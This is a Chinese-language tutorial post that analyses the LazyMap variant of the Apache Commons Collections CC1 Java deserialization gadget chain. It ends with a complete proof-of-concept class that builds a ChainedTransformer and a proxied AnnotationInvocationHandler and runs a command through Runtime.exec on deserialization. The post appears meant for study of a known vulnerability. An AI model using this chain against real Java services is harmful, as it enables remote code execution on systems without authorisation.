CC1的LazyMap鏈
分析了上一條鏈子,其實在TransformMap類那裡有個分叉點,就是還可以利用另一個類LazyMap進行transform方法的呼叫。
進入到LazyMap類中,發現get方法也呼叫了transform方法:
可以看到在呼叫方法之前有個if的判斷,跟進這個containKey函式:
翻譯一手:
也就是傳入的key值是map鍵值對中沒有的就會返回false了,這個很容易就能實現。
然後看看怎麼控制引數factory
,發現構造方法可以對factory進行賦值,雖然有兩個構造方法但其引數型別不同先不管。
這裡又是保護屬性,需要找一找看有沒有其他地方對其進行了呼叫。發現和TransformMap一樣都有個靜態方法decorate能夠實現構造方法的呼叫。
測試一下:
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class CC1test {
public static void main(String[] args) throws Exception {
InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> Lazy = LazyMap.decorate(map,t);
Lazy.get(Runtime.getRuntime());
}
}
還是和上一條鏈子一樣,繼續向上找看誰呼叫了get方法,發現有一千多個結果,這怎麼找。
反正感覺應該和上一條鏈子是差不多的,直接從終點類AnnotationInvocationHandle開始找,不過發現memberValues.get
並不在readObjetc
中而是在invoke
方法裡。
但這裡是Handler中的invoke方法,這不是很熟悉嗎。在jdk動態代理是可以透過Proxy.newProxyInstance
獲得物件,然後呼叫該物件方法來達到Handler.invoke()方法。但是這怎麼和readObject相聯絡呢?
我們在來看看在執行readObject的時候有沒有什麼我們可以控制的方法呼叫(因為要透過方法呼叫來轉到Handler.invoke()方法),
這個首當其衝就應該想到memberValues吧,畢竟這個承引數最容易控制。然後看到在for迴圈的時候呼叫了其方法entrySet(下面它的其他方法就不用看了,呼叫到第一個方法的時候就已經轉到Handler.invoke()方法了)。所以思路清晰了,就是讓memberValues為Proxy.newProxyInstance獲得的物件就行了。這樣在進行反序列化的到for時就能自動進入invoke方法,在進入invoke方法時,我們在透過建構函式把memberValues設為lazyMap,這樣就可以呼叫到lazyMap的get方法,在由get方法去呼叫transform方法。
反序列化是這樣,所以構造序列化payload就行先把memberValues設為lazyMap,在把memberValues設為Proxy.newProxyInstance獲得的物件。
先構造Hanlder物件:
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy); //透過建構函式設memberValues為lazyMap
然後利用Proxy.newProxyInstance獲得的proxyMap物件並且handler引數為hand(這樣就可轉到AnnotationInvocationHandler的invoke方法呢)
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);
接下來只需要呼叫proxyMap的方法了,設memberValues為proxyMap:
InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);
所以最後poc:
package org.example;
import com.sun.xml.internal.ws.policy.privateutil.PolicyUtils;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Repeatable;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy;
public class CC1test {
public static void main(String[] args)throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}),
};
ChainedTransformer cha=new ChainedTransformer(transformers);
InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("entrySe","entrySet"); //可以不用設,不要把key設為entrySet,不然不滿足lazy.get條件
Map<Object,Object> Lazy = LazyMap.decorate(map,cha);
Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor con=c.getDeclaredConstructor(Class.class, Map.class);
con.setAccessible(true);
InvocationHandler hand=(InvocationHandler)con.newInstance(Override.class,Lazy);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},hand);
InvocationHandler in =(InvocationHandler) con.newInstance(Repeatable.class,proxyMap);
serilize(in);
deserilize("serr.bin");
}
public static void serilize(Object obj)throws IOException{
ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("serr.bin"));
out.writeObject(obj);
}
public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
Object obj=in.readObject();
return obj;
}
}
執行得到計算機: